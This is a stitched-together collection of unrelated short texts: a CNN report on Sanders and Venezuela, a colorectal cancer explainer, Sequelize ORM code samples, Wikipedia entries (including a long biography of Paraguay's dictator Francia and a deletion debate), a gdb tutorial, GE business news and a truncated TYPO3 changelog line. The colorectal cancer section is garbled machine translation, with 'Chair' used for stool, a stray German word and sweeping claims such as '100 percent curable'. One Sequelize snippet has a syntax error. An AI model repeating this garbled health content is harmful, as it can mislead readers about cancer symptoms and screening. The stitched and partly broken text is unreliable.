(CNN)Sen. Bernie Sanders on Monday night steered clear of calling Venezuelan leader Nicolas Maduro a "dictator, " despite criticizing Maduro's government for failing to hold democratic elections. "It's fair to say the last election was undemocratic, but there are still democratic operations taking place in that country," Sanders told an audience at a CNN town hall in Washington after being asked by CNN's Wolf Blitzer why he wouldn't use the term to describe Maduro. "What I am calling for right now is internationally supervised free elections." RELATED: Bernie Sanders says climate change is an 'existential crisis' The answer came the same night news broke that journalist Jorge Ramos, an American citizen, and his crew had been detained by Maduro while interviewing the Venezuelan leader in Caracas. According to Univision, Ramos and the crew were "arbitrarily detained" at Maduro's direction because the besieged leader "didn't like the questions." Ramos and his team were released later Monday night. Venezuela is in a state of upheaval after opposition leader Juan Guaido was named president of the National Assembly and then, weeks later, declared himself acting president in a dramatic swearing-in before throngs in Caracas. The White House and other Western countries have since recognized him as the legitimate leader of Venezuela -- despite Maduro's grip on the military and other institutions. Maduro's re-election in May 2018, which Sanders labeled "undemocratic," was boycotted by many eligible voters. Venezuela holds the world's largest supply of crude oil, which once seemed to guarantee an endless flow of cash for the government. But plummeting oil prices in 2016 triggered an economic implosion that continues today. The oil-dependent country lapsed into political turmoil and economic misery, including hyperinflation and massive shortages of food and other necessities. Sanders has in the run-up to his second presidential campaign sought to map out a progressive foreign policy to compete with the conventional wisdom leaning toward intervention that has been supported by elected leaders from both parties. "We need an international movement that mobilizes behind a vision of shared prosperity, security and dignity for all people, and that addresses the massive global inequality that exists, not only in wealth but in political power," Sanders said in an October 2018 speech at the Johns Hopkins University School of Advanced International Studies. Those remarks echoed his message at Westminster College a year earlier, when he called on the US to "seek partnerships not just between governments, but between peoples. A sensible and effective foreign policy recognizes that our safety and welfare is bound up with the safety and welfare of others around the world." But his attempts to fashion a new foreign policy standard have run into criticism from both conservatives and some on the political left. "The people of Venezuela are enduring a serious humanitarian crisis," Sanders tweeted this weekend. "The Maduro government must put the needs of its people first, allow humanitarian aid into the country, and refrain from violence against protesters." His call to allow the aid through worried activists on the left, many of whom view the border impasse as the pretext for violent conflict. Sanders' top foreign policy adviser, Matt Duss, has accused President Donald Trump of using the turmoil in Venezuela to garner support for more aggressive measures. "Strongly support the provision of humanitarian aid to Venezuela," Duss tweeted, "but crucial to recognize how Trump admin is using aid as a political tool to provoke unrest. This is dangerous." Sanders again warned Monday night against the "unintended consequences" of foreign intervention, instead calling for "internationally supervised free elections." "I'm old enough to remember the war in Vietnam," Sanders said, before ticking off past American political interference in Central and South America. "I am very fearful of the United States continuing to do what it has done in past -- the United States overthrew a democratically elected government in Chile, and in Brazil, and in Guatemala." He then compared the "despotic regime" in Saudi Arabia with the leadership in Venezuela and said the US should do all it could to foster a "democratic climate." "But I do not believe," he added, "in US military intervention in those countries." CNN's Ray Sanchez contributed to this report. | NEWS-MULTISOURCE |
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Colorectal cancer
Colon cancer does not come from overnight. But the first indications are uncharacteristic and in no pain, they are easily dismissed as a mood disorder. That there are no reliable early symptoms of colon cancer, early detection is so important.
Colorectal Cancer: Symptoms
An indefinite reduction in performance, increased fatigue, pale skin, unexplained weight loss, possibly low-grade fever and unusually strong night sweats: All these general symptoms are uncharacteristic, can be but first indications of a developing intestinal cancer. Because they are too ambiguous, they are usually not properly counted and the bowel cancer has time to develop.
The first signs of colon cancer, which serve strictly as a typical warning sign should give rise, without the doctor to consult further delay, are visible blood admixtures in the Chair, change in bowel habits, mainly alternating between diarrhea and constipation, but also more often defecate and putrid purulent Chair smell, recurrent abdominal pain and bloating, especially with an accompanying Chair finish. The latter symptom is also called "Symptom of the false friend".
Signs of colon cancer in the rectum
In a British study of 5500 colorectal cancer patients, repeated intestinal bleeding and changes in bowel habits proved to beweiskräftigste signs of colon cancer. However, you can never say: no blood, so no colon cancer. Since blood admixtures in the Chair often also for hemorrhoids, should you not just do blood seating, but also necessarily having an in-depth study on colorectal cancer at the same time existing hemorrhoids.
Of colorectal cancer in the rectum is localized, it causes often painful bowel movements and blood seating mixed with mucus. The tumor already narrowed the rectum, is the result of a so-called "pencil Chair" and it comes to involuntary Chair and wind outlet. Especially for a bowel tumor on the right side, occasionally a hardening is palpable.
As an opportunity take advantage of early detection of colorectal cancer
So far, it should not be. Aim early detection of colorectal cancer is colorectal cancer at an early stage, in which he caused still no symptoms, to discover and remove. Because colon cancer is 100 percent curable when it is detected at an early stage. And there are good ways to do this: colon cancer develops slowly; It takes about 5 to 10 years, up from a precursor - a benign adenoma - a malignant tumor due to continuous genetic changes.
Over 90% of colorectal cancers develop on the ground of a pre-existing adenoma, which can be very well recognized and removed during a colonoscopy. The risk of developing colorectal cancer increases rapidly from 50 years of age. Legally insured are entitled to the following preventive medical examinations in the frame of the colorectal cancer screening at this age:
From the 50th to the 55. Years of age annually a Chair hidden blood and examination a palpation of the rectum
From the age of 55, a right to choose between a total twice colonoscopy (colonoscopy) at a distance of 10 years or a stool examination for hidden blood is every 2 years.
Checkups are under-utilised
There is a familial risk for colorectal cancer or an increased risk due to a chronic inflammatory bowel disease such as ulcerative colitis or Crohn's disease should start much earlier depending on the nature of the risk of colorectal cancer screening. The Felix Burda Foundation has called the colon cancer month March the month since 2002, to draw attention in the population ever again intensively on this topic.
Because unfortunately the screening be still far too little of those entitled to claim for the early detection of colorectal cancer. Only 34% of women and 17% of men take advantage of the opportunity to prevent colorectal cancer at an early stage in the creation of. But still, 27 000 people a year are victims of colon cancer in Germany.
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Noun
* 1) A rare disorder of unknown etiology, characterized by redness of one or both external ears, accompanied by a burning sensation. | WIKI |
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Sequelize
Sequelize is a modern TypeScript and Node.js ORM for Oracle, Postgres, MySQL, MariaDB, SQLite and SQL Server, and more. Featuring solid transaction support, relations, eager and lazy loading, read replication and more.
Install dependencies
npm install sequelize sqlite3
# or
yarn add sequelize sqlite3
Define models
import { Sequelize, Model, DataTypes } from 'sequelize';
const sequelize = new Sequelize('sqlite::memory:');
const User = sequelize.define('User', {
username: DataTypes.STRING,
birthday: DataTypes.DATE,
});
Persist and query
const jane = await User.create({
username: 'janedoe',
birthday: new Date(1980, 6, 20),
});
const users = await User.findAll();
Data Modeling
Define your models with ease and make optional use of automatic database synchronization.
const Wishlist = sequelize.define("Wishlist", {
title: DataTypes.STRING,
});
const Wish = sequelize.define("Wish", {
title: DataTypes.STRING,
quantity: DataTypes.NUMBER,
});
// Automatically create all tables
await sequelize.sync();
Associations
Define associations between models and let Sequelize handle the heavy lifting.
Wish.belongsTo(Wishlist);
Wishlist.hasMany(Wish);
const wishlist = await Wishlist.findOne();
const wishes = await wishlist.getWishes();
const wish = await wishlist.createWish({
title: 'Toys', quantity: 3,
});
await wishlist.removeWish(wish);
Soft deletion
Mark data as deleted instead of removing it once and for all from the database.
const User = sequelize.define("User",
{ username: DataTypes.STRING },
{ paranoid: true },
});
const user = await User.findOne();
await user.destroy();
await User.findAll(); // non-deleted only
await User.findAll({ paranoid: false }); // all
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David Dobrik (born July 23 1996) is a American/Slovakian YouTube star who has over 5 million subscribers. | WIKI |
Wikipedia:Articles for deletion/Real NZ Party
The result was delete. Vanamonde (Talk) 15:23, 23 September 2020 (UTC)
Real NZ Party
Non-notable political party. The current sources only have one independent source that mentions it, and that is only a passing mention. I was not able to find any other independent sources that mention it. HenryCrun15 (talk) 09:22, 4 September 2020 (UTC)
* Note: This discussion has been included in the list of Politics-related deletion discussions.
* Note: This discussion has been included in the list of New Zealand-related deletion discussions.
* Cautious delete Never registered, doesn't look like its going to run candidates, so fails notability, and any relevant info can be included in the Outdoors and/or Public Party pages. But nomination day is 18 September, so IMHO we should wait until after then for the cull, just to be sure.--IdiotSavant (talk) 10:20, 4 September 2020 (UTC)
* Candidate info has confirmed they are not running anyone, so I support deletion.--IdiotSavant (talk) 02:51, 19 September 2020 (UTC)
* I agree with that caution; wait till nomination day and see what happens. Schwede 66 08:58, 5 September 2020 (UTC)
* I understand your reasoning, but the possibility of notability in the future doesn't confer notability now. Perhaps we should move this article to a draft somewhere, an move it back to the mainspace if and when it becomes a notable subject. HenryCrun15 (talk) 22:19, 6 September 2020 (UTC)
* Redirect to David Moffett, the name linked to the party in the only independent reliable source provided. Daveosaurus (talk) 07:12, 8 September 2020 (UTC)
* Move to draft space per HenryCrun15.- gadfium 09:04, 8 September 2020 (UTC)
* Change to Delete as they are not running any candidates.- gadfium 08:40, 22 September 2020 (UTC)
* Delete or Draft Not notable and unless something changes I feel is unlikely to be. So as it stands now, I'd delete, if someone is happy for draft space then fine with it going there as well. NZFC (talk) (cont) 04:12, 9 September 2020 (UTC)
Relisted to generate a more thorough discussion and clearer consensus. Relisting comment: While there is a consensus to delete (or maybe draftify) given the comments about Sept 18, relisting to see if opinions change after that date has passed.
* Delete: Article does not meet WP:SIGCOV for WP:GNG or WP:ORGCRIT // Timothy :: talk 20:02, 11 September 2020 (UTC)
Please add new comments below this notice. Thanks, Barkeep49 (talk) 17:19, 13 September 2020 (UTC)
* Move to incorporate into David Moffett article NealeFamily (talk) 10:51, 15 September 2020 (UTC)
* Delete, Article does not meet WP:GNG, looks promotional. Alex-h (talk) 08:20, 18 September 2020 (UTC)
* Delete an unregistered party with no candidates doesn't meet the general presumption of notability for political parties. Doesn't appear to be significant coverage. power~enwiki ( π, ν ) 21:29, 21 September 2020 (UTC)
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José Gaspar Rodríguez de Francia
José Gaspar Rodríguez de Francia y Velasco (6 January 1766 – 20 September 1840) was a Paraguayan lawyer and politician, and the first dictator (1814–1840) of Paraguay following its 1811 independence from the Spanish Viceroyalty of the Río de la Plata. His official title was "Supreme and Perpetual Dictator of Paraguay", but he was popularly known as El Supremo.
He is considered to be the chief ideologue and political leader of the faction that advocated for the full independence of Paraguay from the United Provinces of the Río de la Plata and from the Empire of Brazil.
Early life and education
Francia was born in Yaguarón, in modern-day Paraguarí Department. Francia's father was an officer turned tobacco planter from São Paulo, and his mother was a Paraguayan descended from Spanish colonists. He was christened Joseph Gaspar de Franza y Velasco but later used the more popular name Rodríguez, and changed Franza to the more Spanish Francia. Although his father was simply García Rodríguez Francia (Portuguese: Garcia Rodrigues França), the dictator inserted the article de to style himself "Rodríguez de Francia y Velasco". He was of Portuguese descent.
He studied at the monastery school of San Francisco, Asunción, originally in training for the Catholic priesthood, but never became a priest. On 13 April 1785, after four years studying, he became a doctor of theology and master of philosophy at the College of Monserrat at the National University of Córdoba in what would soon become Argentina.
Although he was dogged by suggestions that his father, a Brazilian tobacco exporter, was a mulatto, Francia was awarded a coveted chair of theology at the Seminary of San Carlos in Asunción in 1790. His radical views made his position as a teacher there untenable, and he soon gave up theology to study law. Eventually, he became a lawyer and learned five languages: Guarani, Spanish, French, Latin, and some English.
During his studies, he was influenced by the ideas of Enlightenment and then the French Revolution. Francia was disgusted by Paraguay's casta system, which was imposed by Spain, and as a lawyer, he would defend the less fortunate against the affluent. A devotee of the Enlightenment and the French Revolution, a keen reader of Voltaire, Jean-Jacques Rousseau, and the French Encyclopedists, Francia had the largest library in Asunción. His interest in astronomy, combined with his knowledge of French and other subjects considered arcane in Asunción, caused some superstitious Paraguayans to regard him as a wizard who could predict the future.
Political career
He demonstrated an early interest in politics. He became a provincial cabildo member in 1807, fiscal officer in 1808 and attained with difficulty the position of alcalde del primer voto, or head of the Asunción cabildo, by August 1809, the highest position he could aspire to as a criollo (a native-born White). He had tried in 1798 but failed because of his humble background. Other significant members included Fulgencio Yegros; Pedro Juan Caballero; Manuel Atanasio Cabañas; and the last colonial governor, Bernardo de Velasco.
After the May Revolution in Buenos Aires, Governor Velasco convened the Congress of the province on 24 July 1810. Francia shocked the other members by saying it was irrelevant which king they had. When Paraguay's independence was declared on 15 May 1811, he was appointed secretary to the three-man ruling junta and included in the five-man governing junta by Congress meeting on 17 June 1811. On 1 August, he resigned because of the army's dominance over Congress. He retired to the countryside, where he spread rumours that the country was going to be betrayed by the incompetent government. He was one of the few men in the country with any significant education and soon became the country's real leader. Only one other Paraguayan had a doctorate: Juan Bogarin, one of the five junta members.
From his retirement in his modest chacra (farm or country estate) at Ibaray near Asunción, he told countless ordinary citizens who came to visit him that their revolution had been betrayed, the change in government had only traded a Spanish-born elite for a criollo one, and the government was incompetent and mismanaged. He returned to the junta in October if Bogarin was removed and resigned again on 15 December. He did not return again until 16 November 1812 and then only if he was in charge of foreign policy and half of the army.
Paraguayans often referred to him simply as "Dr. Francia" or Karai Guasu ("great lord" in Guarani). A few Indians believed that he had supernatural powers: when some saw him measuring the stars with his theodolite, they thought he was talking to night demons. Francia would later use it to straighten the streets of Asunción.
On 1 October 1813, Congress named Francia and Fulgencio Yegros as alternate consuls for a year. Francia was given an initial term of four months. Francia's initial term was followed by a four-month term for Yegros, which was then followed by a second four-month term for Francia. Each consul controlled half of the army. On 12 October 1813 Paraguay declared independence from the Spanish Empire.
In March 1814, Francia imposed a law that no Spaniard may intermarry with another Spaniard, and that they may only wed mestizos, Amerindians, or Africans. This was done to eliminate any socioeconomic disparities along racial lines, and also to end the predominantly criollo and peninsulare influence in Paraguay. De Francia himself was not a mestizo, but feared that racial disparities would create tensions that could threaten his absolute rule.
Dictator
On 1 October 1814, Congress named him as sole consul, with absolute powers for three years. He consolidated his power to such an extent that on 1 June 1816, another Congress voted him absolute control over the country for life. For the next 24 years, he ran the country with the aid of only three other people. According to the historian Richard Alan White, the congresses were actually very progressive for the era; all men over 23 could vote for them. From 1817, he appointed cabildo members, but in 1825, he decided to end the cabildo.
Policies
One Latin American scholar, Antonio de la Cova, summarised Francia's rule as follows:
"... we find a strange mixture of capacity and caprice, of far-sighted wisdom and reckless infatuation, strenuous endeavours after a high ideal and flagrant violations of the simplest principles of justice. He cut off Paraguay from the rest of the world by stopping foreign commerce, but carefully fostered its internal industries and agriculture under his personal supervision. Dr. Francia disposed to be hospitable to strangers from other lands, and kept them prisoners for years; lived a life of republican simplicity, and severely punished the slightest want of respect. As time went on he appears to have grown more arbitrary and despotic. Deeply imbued with the principles of the French Revolution, he was a stern antagonist of the church. He abolished the Inquisition, suppressed the college of theology, did away with the tithes, and inflicted endless indignities on the priests. He kept the aristocracy in subjection and discouraged marriage both by precept and example, leaving behind him several illegitimate children. For the extravagances of his later years the plea of insanity has been put forward."
Francia aimed to found a society on the principles of Rousseau's Social Contract and was also inspired by Robespierre and Napoleon. To create such a utopia, he imposed a ruthless isolation upon Paraguay, interdicting all external trade, and he fostered national industries.
Francia in some ways resembles the caudillos of the post-colonial era, but he deviated from the elitist tendencies of most of his contemporaries. Instead, he attempted to reorganize Paraguay in accordance with the wishes of the lower classes and other marginalized groups. He greatly limited the power of the Church and the landed elites in favor of giving peasants a way to make a living on state-run estancias. He is criticized by some scholars for being entirely against the Church, he wanted only to diminish the institution's all-encompassing political control. He actually built new churches and supported religious festivals using state funds. Francia's government also took over services usually under church supervision, such as orphanages, hospitals, and homeless shelters, to manage them more efficiently. Francia and his policies were in fact very well received by the majority of Paraguayans, excluding the small ruling classes, and his neutrality in foreign affairs kept peace in a period of turmoil.
Francia's authoritarian regime built the foundations of a strong and dirigiste state in order to undertake the economic modernization of the country. Paraguay thus instituted rigorous protectionism at a time when most other countries were adopting the free-trade system promoted by the United Kingdom while entrusting their national bourgeoisie with the task of piloting wealth creation. This model, continued after Francia's death by his successors Carlos Antonio López and Francisco Solano López, made Paraguay one of the most modern and socially advanced countries in Latin America: the redistribution of wealth was so great that many foreign travelers reported that the country had no begging, hunger or conflict. The agrarian reform has allowed for a fairly equitable distribution of land. Asunción was one of the first capitals on the continent to inaugurate a railroad network. The country had a growing industry and a merchant fleet made up of ships built in national shipyards, had a trade surplus and was debt-free.
1820 uprising and police state
In February 1820, Francia's political police called the Pyraguës ("hairy feet") uncovered and quickly crushed a plot by the elites and many leading independence figures to assassinate him. Juan Bogarin, the only conspirator who was still free, confessed the plot to his priest and then Francia. Almost 200 prominent Paraguayans were arrested by Francia, who executed most of them. On 9 June 1821, a letter detailing an anti-Francia conspiracy was found by two slaves and Francia's priest, who had knowledge of the plot from the confessions of a conspirator. Francia had all 200 Spaniards arrested and made them stand in the plaza while he read the letter out. They were released 18 months later only when they had paid 150,000 pesos (by comparison, the 1820 budget was 164,723 pesos). The arch-conspirators, Fulgencio Yegros and Pedro Caballero, were arrested and imprisoned for life. Caballero committed suicide on 13 July 1821, and Yegros was executed four days later.
Francia outlawed all opposition and established a secret police force. His underground prison was known as the "chamber of truth", and most of Paraguay's manufactures were made with prison labor. He abolished flogging, but his implementation of the death penalty was brutal, as he insisted all executions be carried out at a banquillo ("stool") under an orange tree outside his window. To avoid wasting bullets, most victims were bayoneted, and their families were not allowed to collect the corpses until they had been lying there all day to make sure that they were dead.
Many prisoners were also banished to Tevego, a prison camp 70 mi away from any other settlements, surrounded by a large swamp on the east, and by the Gran Chaco desert on the west. Upon his death, there were 606 prisoners in Paraguay's jails, who were mainly foreigners.
In 1821, Francia ordered the arrest and imprisonment of the famous French botanist and explorer Aimé Bonpland, who was running a private farm harvesting Yerba mate on the banks of the Paraná, which was seen to be a threat to the Paraguayan economy. Francia later granted Bonpland clemency because of his value as a physician and allowed him to live in a house if he acted as a doctor to the local garrison.
Military
Francia believed the states of Latin America should form a confederation based on equality of nations and joint defence. He created a small but well-equipped army, which was equipped largely with the confiscated Jesuit arsenal. The size of the army varied compared to the magnitude of the threat. In 1824, for example, the army had over 5,500 troops, but in 1834, it had only 649. Francia deliberately misled foreigners into thinking that the army was over 5,000 strong, but it rarely exceeded 2,000. He maintained a large militia of 15,000 reservists. The first Paraguayan-built warship was launched in 1815, and by the mid-1820s, a navy of 100 canoes, sloops and flatboats had been built. People had to remove their hats when meeting any soldier, and Indians who could not afford headgear wore nothing but a hat brim so that they could obey this rule. Cash could be exported only in exchange for arms and ammunition, and in 1832, 2000 muskets and sabres were imported from Brazil.
No wars were fought, but there were disputes over Candelaria with Argentina. Francia initially abandoned it in 1815, but in 1821, he built a fort on the border, another the next year, and a third in 1832. In 1838, the army again occupied Candelaria on the grounds that Francia was protecting the native Guaraní people who lived there.
Paraguayan soldiers saw action only on the outposts of the frontier, which frequently came under attack from the Guaycurú. In 1823, Francia allowed Brazilian merchants to trade in Candelaria. Francia would spend most of the state's budget on the army, but soldiers were also used for labour on public projects.
Education
Francia abolished higher education on the grounds that it was the nation's financial priority to fund the army and that private study could be freely conducted in his library. Francia closed the country's only religious seminary in 1822, mainly because of the bishop's mental illness but also because of his purge of the power of the Church. Nevertheless, he made state education compulsory for all males in 1828, but he neither helped nor hindered private schools. However, illiteracy decreased, and the pupil-teacher ratio grew, with one teacher to 36 pupils by 1825, according to Richard Alan White. In 1836, Francia opened Paraguay's first public library, which was stocked with books confiscated from his opponents. Books were one of the few duty-free items, munitions being another.
Agriculture
In October 1820, a plague of locusts destroyed most of the crops. Francia ordered a second harvest planted. It proved abundant and so from then on, Paraguay's farmers planted two crops a year. Throughout the decade, Francia nationalised half the land in four stages. He started by confiscating the lands of traitors and continued with clerics (1823), squatters (1825) and finally unused land (1828). The land was run directly by soldiers to make their own supplies, or it was leased to the peasants. By 1825, Paraguay was self-sufficient in sugarcane, and wheat was introduced. At the end of his life, Francia ruthlessly confined all cattle at Ytapua to stop a plague spreading from Argentina until it died out.
Refugees
Contrary to popular belief, Paraguay was not completely isolated. Francia welcomed political refugees from various countries. José Artigas, the hero of Uruguay's independence, was given asylum in 1820, along with 200 of his men. Artigas stayed in Paraguay even after Francia's death on a pension of $30 a month and was pursued by Francisco Ramírez, who saw one of his warships also desert to Paraguay. In 1820, Francia ordered for runaway slaves to be given refuge and for refugees from Corrientes to be given canoes and land. In 1839, a whole company of Brazilian deserters was welcomed. Many ex-slaves were also sent to guard the penal colony of Tevego.
Relationship with the Catholic Church
Dr. Francia inherited the "Patronato Regio" (Regal Patronage) of the Spanish Empire, that was originally given to the colonial Viceroys and Governors. He used this Regal Patronage in a severe way, controlling every aspect of the Catholic Church in Paraguay; however, there is no evidence nor tangible proof that Dr. Francia provoked a schism with the Pope. At most, Paraguay's isolation, forced both by external pressures and by Dr. Francia himself, made it very difficult for Rome to establish communications with priests of the country.
Taking the prerrogatives of the "Real Patronato" to an extreme, in mid-June 1816, Dr. Francia ordered all nighttime processions to be banned except that of Corpus Christi. In 1819, the bishop was persuaded to transfer authority to the vicar-general, and in 1820, friars were secularised. On 4 August 1820, all clergy were forced to swear allegiance to the state, and their clerical immunities were withdrawn. The four monasteries in the country were nationalised in 1824, with one later demolished and another becoming a parish church. The remaining two became an artillery park and barracks, and three convents also became barracks. Francia abolished the Inquisition, repurposed confessional boxes as sentry posts, and had the hangings made into lancers' red waistcoats.
Personal life
Francia took several precautions against assassination. He would lock the palace doors himself, unroll the cigars that his sister made to ensure there was no poison, prepare his own yerba mate, and sleep with a pistol under his pillow. Even so, a maid tried to poison him with a piece of cake. No one could come within six paces of him or even bear a cane near him. Whenever he would go out riding, he had all bushes and trees along the route uprooted so that assassins could not hide, all shutters had to be closed, and pedestrians had to prostrate before him as he passed.
Francia lived a spartan lifestyle, and apart from some books and furniture, his only possessions were a tobacco case and a pewter confectionery box. Francia left the state treasury with at least twice as much money in it as when he took office, including 36,500 pesos of his unspent salary, the equivalent of several years' pay.
The final chapter of Rengger & Longchamps' work published in English in 1827 describes details of his personal life. This work seems to have had great impact in the English-speaking world, for many of its claims and descriptions have been accepted and used in other works. Thus, White's fictional account of Francia relies heavily on snippets of the work (e.g., one sentence in a footnote dealing with a tailor and cloth becomes an almost tragi-comic scene in El Supremo). The work is cited by historians to this day, as one of the few personal accounts, even if biased against him.
Legacy
His reputation abroad was negative: Charles Darwin, for one, hoped he would be overthrown, though Thomas Carlyle (himself no friend to democracy) found material to admire even in the publications of Francia's detractors. Carlyle wrote in an 1843 essay that "Liberty of private judgement, unless it kept its mouth shut, was at an end in Paraguay", but considered that under the social circumstances this was of little detriment to a "Gaucho population ... not yet fit for constitutional liberty."
Francia imbued Paraguay with a tradition of autocratic rule that lasted, with only a few breaks, until 1989. He is still considered a national hero, with a museum dedicated to his memory in Yaguarón. It contains portraits of him and his daughter as well as his sweets box, candlestick and tobacco case. Paraguayan author Augusto Roa Bastos wrote an ambivalent depiction of the life of Francia, a novel entitled Yo el Supremo (I, the Supreme).
The American author Edward Lucas White published a historical work of fiction regarding Francia and Paraguay of the mid-1810s in 1916. The author reworks some history in a playful fashion. For example, he has an almost comedic section (Chapter XX, "Gold Combs in Church") where the protagonist helps two friends whose family members were humiliated at the big Cathedral Sunday Mass by being removed for wearing corsets and gold combs in their hair. In the next chapter, "Service By Edict", Francia forces the Catholic clerics he assembles to hold a third Sunday Mass before noon and give public prominence to the two women, who are allowed their corsets but not their gold hair combs:
* El Supremo: A Romance of the Great Dictator of Paraguay (E. P. Dutton & Co., 1916) | WIKI |
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"The people of New Mexico will also, it is believed, at no very distant period, present themselves for admission into the Union. Preparatory to the admission of California and New [sic]Moxico, the people of each will have instituted for themselves a republican form of government, laying its foundation in such principles, and organizing its power in such form, as to them shall seem most likely to effect their safety and happiness.
"By awaiting their action, all causes of uneasiness may be avoided, and confidence and kind feeling preserved. With a view of maintaining the harmony and tranquility so dear to all, we should abstain from the introduction of those exciting topics of a sectional character which have hitherto produced painful apprehensions in' the public mind; and I repeat the solemn warning of the first and most illustrious of my predecessors, against furnishing any ground for characterizing parties by geographical discriminations."
On the 4th of January, 1850, General Sam Houston, of Texas, submitted the following proposition to the senate:
", The congress of the United States, possessing only a delegated authority, have no power over the subject of negro slavery within the limits of the United States, either to prohibit or to interfere with it in the states, territories, or district, where, by municipal law, it now exists, or to establish it in any state or territory where it does not exist; but as an assurance and guarantee to promote harmony, quiet apprehension, and remove sectional prejudice, which by possibility might impair or weaken love and devotion to the Union in any part of the country, it is hereby
", That, as the people in territories have the same inherent rights of selfgovernment as the people in the states, if, in the exercise of such inherent rights, the people in the newly-acquired territories, by the annexation of Texas and the acquisition of California and New Mexico, south of the parallel of 36 degrees and 30 minutes of north latitude, extending to the Pacific Ocean, shall establish negro slavery in the formation of their state governments, it shall be deemed no objection to their admission as a state or states into the Union, in accordance with the constitution of the United States."
In answer to a resolution of inquiry, General Taylor sent a message to the house stating that he had urged the formation of state governments in California and New Mexico, and adds:
"In advising an early application by the people of these territories for admission as states, I was actuated principally by an earnest desire to afford to the wisdom and patriotism of congress the opportunity of avoiding occasions of bitter and angry discussions among the people of the United States.
"Under the constitution, every state has the right to establish, and, from time to time, alter its municipal laws and domestic institutions, independently of every other state and of the general government, subject only to the prohibitions and guarantees expressly set forth in the constitution of the United States. The subjects thus left exclusively to the respective states, were not designed or expected to become topics of national agitation. Still as, under the constitution, congress has power to make all needful rules and regulations respecting the territories of the United States, every new acquisition of territory has led to discussions on the question whether the system of involuntary | WIKI |
So, you believe there are bugs in your C/C++ code or you have encountered SEGFAULT while executing your code. What will you do?
1. write a lot of printf statements at various places in your code under suspicion
OR
2. use gdb (GNU code debugger)
This article is about Approach 2
Disclaimer : This article is just a basic gdb tutorial and is nowhere meant to be comprehensive.
Using GDB
1. Compile code using -ggdb switch For example, g++ -ggdb -o hellowworld helloworld.cc
2. Run your code under gdb using gdb helloworld
3. Set a breakpoint at location where you suspect the problem to be. For example, if you suspect problem could be at line 12 then set breakpoint at line 12 using break 12 elesewise, you can set breakpoint at function also. For example break main will stop the code execution as soon as main function is called.
4. now run the code using run
5. If the program crashes then set the breakpoint at a different [much earlier] location.
6. Now the code has stopped execution, you can continue step by step execution using step or you can continue the execution continously using continue or you can print the values of various variables at this stage using print var_name
7. To find the stack trace use backtrace
8. use quit to exit gdb [and stop to stop a program which is still under execution]
Happy code debugging
Reference
1. GDB Man page | ESSENTIALAI-STEM |
-- GE Wins Orders for Wind Turbines in Brazil Auction and Gas Plants in Iraq
General Electric Co. , the world’s
biggest provider of power-generation equipment, won orders for
more than 400 megawatts of wind turbines in an auction in Brazil
and three gas generators to expand a plant in Iraq. The buyers of GE’s 1.5-megawatt and 1.6-megawatt wind
turbines in Brazil’s second alternative energy auction include
Renova Energia SA , Dobreve Energia SA, ContourGlobal LLC and
Bioenergy, Fairfield, Connecticut-based GE said today in a
statement. The prices were not disclosed. Mass Global Electric Co. agreed to buy three natural gas
turbines for a 375-megawatt expansion of the Arbil power plant
in Iraq’s Kurdistan region, GE said today in a separate
statement. The order is in addition to Mass Global’s plans to
increase generating capacity by 2,200 megawatts in the region. GE Chief Executive Officer Jeffrey Immelt is tapping
faster-growing emerging-markets such as Brazil and the Middle
East to bolster sales. GE said in November it plans to invest
$200 million to develop wind-turbine and energy technology in
Brazil as it expands operations in the nation. Last year it
announced a technology center in Saudi Arabia. The Middle East remains one of the company’s most rapidly-
growing energy markets, with contracts exceeding $11 billion
over the past two years. In addition to power-generation equipment, GE is the
world’s biggest maker of medical-imaging equipment, jet engines
and locomotives. To contact the reporter on this story:
Christopher Martin in New York at
cmartin11@bloomberg.net . To contact the editor responsible for this story:
Reed Landberg at
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Régis Simon
Régis Simon (born 19 March 1958, in Troyes) is a French former professional road bicycle racer. He is the brother of former professional cyclists François, Pascal and Jérôme Simon. Régis Simon won a stage in the 1985 Tour de France.
Major results
* 1985
* Le Horps
* Tour de France:
* Winner stage 18B
* 1987
* Dixmont
* 1990
* Circuit de Lorraine | WIKI |
User:Yamara/June 2008
June 2008 This is Yamara's user page. Hi. ................SAY SOMETHING =Against the Zygarchs= (reposted from Portal_talk:Feminism, and reedited)
In going around looking for articles covered by WikiProject Gender Studies, I discovered that many key variations on Gender equality had been hijacked six or so months ago by redirects to both Zygarchy (Articles_for_deletion/Zygarchy) and Equalism, and had actually begun to affect the conversation across the internet.
This is bad news, as these terms have nothing behind them but ill-defined assertions. I've rarely been embarrassed for Wikipedia, but this is one of those moments where the site's power was left in the hands of POV/OR mischief-makers.
"Zygarchy" is a made-up word that would never meet the WP:NEO standard if anyone had caught it. It has never meant "rule of two genders" before someone asserted it on Wikipedia. There are a couple hundred blogs out there crowing about the "new word they'd learned" while learning less than zero about notable, verifiable internationally-established gender policy. (Somewhat ominously, "zygarchy" is an obscure but genuine term for an ancient military formation involving two chariots. I think the chariots were used to run infantry over... or to cut them down with a chain between them...)
"Equalism" has been used by notable sources and scholars-- but never consistently. There was some effort to use it to refer to communism in the fifties, anarchism at various points, and some among the Facebook crowd seem to like it better than "feminism"; one news citation in Sweden counts it as a subset of feminism. That is to say, it's a semantic game: There is no "-ism" there, just a desire for one, a moving target without a developed philosophy behind it. I've redirected it to a far more notable article, Egalitarianism.
Nearly every instance of a wikilink to Gender equality had been piped to Equalism. That's what last night was all about for me: finding and removing the plumbing from this phantasm.
I've reestablished the Gender equality article with cites to the UN and an external link to the World Bank. I've added it to the various gender studies and feminism templates. This is one of this (Gender Studies) project's central concepts, and we really have to watch these pages. Cheers, Yamara ✉ 21:43, 1 June 2008 (UTC)
Pictured above right: Slave giantesses Fenja and Menja consider their selfish owner, King Fróði. Apparently, he thought it was a great idea to keep them chained to the magic millwheel that created all his worldly peace and prosperity. Take your time, ladies. I'm sure you'll come up with something.
...Maybe a "rule of two"?
May 2008 =Gigantic Days= Wikiproject Time is gaining members and notoreity, and the Time Portal is up and running, though it still needs some genuine automation.
I've been hacking apart the unviable mutant article Immortality and trying to get it to make sense. First I ejected half of it into a crufttrap called Immortality in fiction, and then waded into what remained, which was largely pop-Transhumanist POV speculation stitched to an article about eternal afterlife written by an editor with a serious interest in Hell. Ideally, the article should be a master overview of immortality, much as Time is an overview of the many approaches to time; other encyclopedias have accomplished a meaningful article on immortality, why not Wikipedia? But it needs something that immortality is to tie it together. Time is experienced by all, but immortality is uncertain to be achievable. What can one say about all the many speculations that have been made that isn't OR or POV?
And then it hit me today.
Immortality... is a goal.
Look alive, everyone. —Yamara ✉ 07:23, 24 May 2008 (UTC) | WIKI |
Breaking: #92559 - Removed per-user IP locking for backend users
See Issue #92559
Description
